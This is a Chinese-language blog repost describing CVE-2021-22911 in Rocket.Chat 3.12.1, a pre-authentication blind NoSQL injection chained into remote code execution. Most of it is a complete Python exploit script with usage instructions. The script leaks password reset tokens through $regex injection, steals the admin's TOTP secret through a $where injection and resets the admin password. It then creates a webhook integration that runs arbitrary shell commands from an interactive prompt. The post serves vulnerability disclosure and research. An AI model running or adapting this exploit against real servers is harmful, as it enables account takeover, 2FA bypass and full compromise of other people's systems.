前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2021-22911:Pre-Auth Blind NoSQL 注入导致 Rocket Chat 3.12.1 RCE

CVE-2021-22911:Pre-Auth Blind NoSQL 注入导致 Rocket Chat 3.12.1 RCE

作者头像
Khan安全团队
发布2021-07-08 11:40:00
2.2K0
发布2021-07-08 11:40:00
举报
文章被收录于专栏:Khan安全团队

预认证盲 NoSQL 注入导致 Rocket Chat 3.12.1 中的远程代码执行

  • getPasswordPolicy 方法容易受到 NoSQL 注入攻击,并且不需要身份验证/授权。它可用于通过泄露密码重置令牌来接管帐户。接管管理员帐户会导致远程代码执行
  1. 劫持用户的帐户(未经身份验证)
    • 在密码重置令牌参数的getPasswordPolicy端点中有 NoSQL 注入,它采用 json 对象,允许我们使用$regex运算符。我们使用它来执行盲 nosql 注入以获取重置令牌。
  2. 权限提升到管理员(已认证)
    • 所以admin用户最有可能受到2fa的保护。因此,即使我们通过 (1) 更改管理员的密码,它也会在登录时提示输入 2fa 代码。
    • users.list api 端点采用容易受到 nosql 注入的查询参数。我们还可以通过抛出错误来检索数据。
    • 我们运行以下查询来获取管理员的 2fa 秘密: {"$where":"this.username==='admin'+&&+(()=>{+throw+this.services.totp.secret+})()"}
    • 接下来我们只需执行 (1) 来重置管理员的密码并使用 2fa 密码生成我们可以用来登录的代码。
  3. RCE(认证 - 管理员)
    • Rocket.Chat 有一个叫做集成的功能,它允许创建传入和传出的网络钩子。这些 Web 钩子可以具有与其关联的脚本,这些脚本在触发 Web 钩子时执行。
    • 我们使用以下脚本创建集成:
代码语言:javascript
复制
代码语言:javascript
复制
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
代码语言:javascript
复制
  • 接下来我们只需触发 webhook 来获取 rce

用法

  • 您将需要一个没有 2fa 设置的低权限用户的电子邮件
  • 您还需要知道管理员电子邮件
代码语言:javascript
复制
代码语言:javascript
复制
python3exploit.py -u " user@rocket.local " -a " admin@rocket.local " -t " http://rocket.local "
代码语言:javascript
复制
  • 在 Rocket Chat 3.12.1 上测试
  • 使用 docker 构建您自己的测试环境:
代码语言:javascript
复制
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
代码语言:javascript
复制

代码语言:javascript
复制
#!/usr/bin/python

import requests
import string
import time
import hashlib
import json
import oathtool
import argparse

parser = argparse.ArgumentParser(description='RocketChat 3.12.1 RCE')
parser.add_argument('-u', help='Low priv user email [ No 2fa ]', required=True)
parser.add_argument('-a', help='Administrator email', required=True)
parser.add_argument('-t', help='URL (Eg: http://rocketchat.local)', required=True)
args = parser.parse_args()


adminmail = args.a
lowprivmail = args.u
target = args.t


def forgotpassword(email,url):
  payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"sendForgotPasswordEmail\\",\\"params\\":[\\"'+email+'\\"]}"}'
  headers={'content-type': 'application/json'}
  r = requests.post(url+"/api/v1/method.callAnon/sendForgotPasswordEmail", data = payload, headers = headers, verify = False, allow_redirects = False)
  print("[+] Password Reset Email Sent")


def resettoken(url):
  u = url+"/api/v1/method.callAnon/getPasswordPolicy"
  headers={'content-type': 'application/json'}
  token = ""

  num = list(range(0,10))
  string_ints = [str(int) for int in num]
  characters = list(string.ascii_uppercase + string.ascii_lowercase) + list('-')+list('_') + string_ints

  while len(token)!= 43:
    for c in characters:
      payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"getPasswordPolicy\\",\\"params\\":[{\\"token\\":{\\"$regex\\":\\"^%s\\"}}]}"}' % (token + c)
      r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
      time.sleep(0.5)
      if 'Meteor.Error' not in r.text:
        token += c
        print(f"Got: {token}")

  print(f"[+] Got token : {token}")
  return token


def changingpassword(url,token):
  payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"resetPassword\\",\\"params\\":[\\"'+token+'\\",\\"P@$$w0rd!1234\\"]}"}'
  headers={'content-type': 'application/json'}
  r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False)
  if "error" in r.text:
    exit("[-] Wrong token")
  print("[+] Password was changed !")


def twofactor(url,email):
  # Authenticating
  sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()
  payload ='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"user\\":{\\"email\\":\\"'+email+'\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}}]}"}'
  headers={'content-type': 'application/json'}
  r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)
  if "error" in r.text:
    exit("[-] Couldn't authenticate")
  data = json.loads(r.text)  
  data =(data['message'])
  userid = data[32:49]
  token = data[60:103]
  print(f"[+] Succesfully authenticated as {email}")

  # Getting 2fa code
  cookies = {'rc_uid': userid,'rc_token': token}
  headers={'X-User-Id': userid,'X-Auth-Token': token}
  payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\'admin\'+%26%26+(()%3d>{+throw+this.services.totp.secret+})()"}'
  r = requests.get(url+payload,cookies=cookies,headers=headers)
  code = r.text[46:98]
  print(f"Got the code for 2fa: {code}")
  return code


def changingadminpassword(url,token,code):
  payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"resetPassword\\",\\"params\\":[\\"'+token+'\\",\\"P@$$w0rd!1234\\",{\\"twoFactorCode\\":\\"'+code+'\\",\\"twoFactorMethod\\":\\"totp\\"}]}"}'
  headers={'content-type': 'application/json'}
  r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False)
  if "403" in r.text:
    exit("[-] Wrong token")

  print("[+] Admin password changed !")


def rce(url,code,cmd):
  # Authenticating
  sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()
  headers={'content-type': 'application/json'}
  payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"totp\\":{\\"login\\":{\\"user\\":{\\"username\\":\\"admin\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}},\\"code\\":\\"'+code+'\\"}}]}"}'
  r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)
  if "error" in r.text:
    exit("[-] Couldn't authenticate")
  data = json.loads(r.text)
  data =(data['message'])
  userid = data[32:49]
  token = data[60:103]
  print("[+] Succesfully authenticated as administrator")

  # Creating Integration
  payload = '{"enabled":true,"channel":"#general","username":"admin","name":"rce","alias":"","avatarUrl":"","emoji":"","scriptEnabled":true,"script":"const require = console.log.constructor(\'return process.mainModule.require\')();\\nconst { exec } = require(\'child_process\');\\nexec(\''+cmd+'\');","type":"webhook-incoming"}'
  cookies = {'rc_uid': userid,'rc_token': token}
  headers = {'X-User-Id': userid,'X-Auth-Token': token}
  r = requests.post(url+'/api/v1/integrations.create',cookies=cookies,headers=headers,data=payload)
  data = r.text
  data = data.split(',')
  token = data[12]
  token = token[9:57]
  _id = data[18]
  _id = _id[7:24]

  # Triggering RCE
  u = url + '/hooks/' + _id + '/' +token
  r = requests.get(u)
  print(r.text)

############################################################


# Getting Low Priv user
print(f"[+] Resetting {lowprivmail} password")
## Sending Reset Mail
forgotpassword(lowprivmail,target)

## Getting reset token
token = resettoken(target)

## Changing Password
changingpassword(target,token)


# Privilege Escalation to admin
## Getting secret for 2fa
secret = twofactor(target,lowprivmail)


## Sending Reset mail
print(f"[+] Resetting {adminmail} password")
forgotpassword(adminmail,target)

## Getting reset token
token = resettoken(target)


## Resetting Password
code = oathtool.generate_otp(secret)
changingadminpassword(target,token,code)

## Authenticting and triggering rce

while True:
  cmd = input("CMD:> ")
  code = oathtool.generate_otp(secret)
  rce(target,code,cmd)
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-06-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 用法
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档